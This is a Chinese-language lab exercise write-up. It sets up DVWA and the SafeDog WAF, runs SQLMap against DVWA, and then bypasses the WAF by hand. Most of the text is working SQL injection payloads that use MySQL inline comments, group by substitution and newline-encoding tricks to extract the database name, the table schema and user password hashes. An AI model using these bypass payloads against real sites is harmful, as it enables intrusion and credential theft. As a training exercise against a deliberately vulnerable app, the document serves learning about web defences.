(1)实现WAF安装与配置
(2)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,提供注入结果截图
(3)在有WAF的情况下,手工注入出DVWA数据库中的user和password,提供注入过程说明文档
1 实验环境
软件名称 | 版本 | 部署方式 | IP |
---|---|---|---|
safedog | 官网下载安装包 | 172.31.5.40 | |
dvwa | phpStudy2018部署 | 172.31.5.40 | |
SQLMap | kali 自带 | 172.31.5.9 |
2 安装DVWA
注意:这里使用phpStudy 2018进行部署(尽量不要用最新版,问题较多)
下载DVWA源码,防止于网站根目录下
将DVWA\config\目录下的文件重命名为config.inc.php,并修改其中的数据库账号和密码为:root/root(根据实际情况填写)
修改php.ini 中的两个参数为On
以系统服务的方式启动apache和mysql
访问 http://172.31.5.40/dvwa/ 进入DVWA安装界面
点击Create/Reset Database安装成功后进入登陆界面(默认账号:admin/password)
3 安装safedog
官网下载最新版安全狗Apache版本 http://free.safedog.cn/
双击安装包进行安装,出现如下界面说明可以正常安装,如果服务名为空则不正常(没有以系统服务运行apache)
4 SQLMap 注入DVWA数据库
将DVWA安全等级设置为Low
4.1 未开启safedog时
打开sql注入模块,并获取URL以及登陆cookie
使用sqlmap 对id参数进行注入
sqlmap --batch -u "http://172.31.5.40/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5oe9garl47s6buhb0rc7iav6g3" -p id
注入成功
4.2 开启safedog时
再次执行注入(注意要删除上一次注入的缓存文件),注入失败。检测到了被防火墙拦截
手工注入 1’ and ‘1’=‘1
提交后被安全狗拦截
5 safedog 绕过
5.1 and 关键字绕过
内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容 的数据库中不执行,而在MySQL自身却能识别。
/*!11445*/ 表示版本号;从00000~99999 ,需要小于mysql当前的版本;
例如:mysql 5.6 ,则版本号需要小于 56000 才能执行成功
这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql 语句:
1'/*!11445and*/'1'='1 #成功绕过and关键字拦截
5.2 order by关键字绕过
1' order by 1 #
提交此参数会被拦截
使用group by 替换
1' group by 1 #
成功绕过order by关键字拦截
多次尝试,当使用如下语句则报错,可知注入的列数为2
1' group by 3 #
5.3 union 关键字绕过
%0A 表示回车
%23 表示 #
为防止URL二次编码,以下实验使用HackerBar插件进入注入绕过(%会被二次编码,失去本来的意义)
使用union关键字,被拦截
1' union select 1,2 --+
使用以下注入注入参数
1' regexp "%0A%23" /*!11144union %0A select */1,2 --+
成功绕过union关键字拦截
5.4 database 关键字绕过(获取库名)
尝试获取database(),发现被拦截
1' regexp "%0A%23" /*!11144union %0A select */database(),2--+
再次使用內联注释绕过database() 拦截,获取到数据库名为dvwa
?id=-1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)--+
5.5 user() 关键字绕过(获取用户名)
-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database(%0A /*!11144*/)--+
5.6 获取所有库名
尝试获取所有的库名,发现information_schema.schemata被拦截
分别对schema_name 和information_schema加上内联注释进行绕过(不清楚其中哪个被拦截,直接全加上)
5.7 获取所有表
获取dvwa库里面所有的表名
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(column_name) /*!from*/
/*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
5.8 注入出账号密码
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password))
/*!from*/ dvwa.users --+
得到admin用户密码为password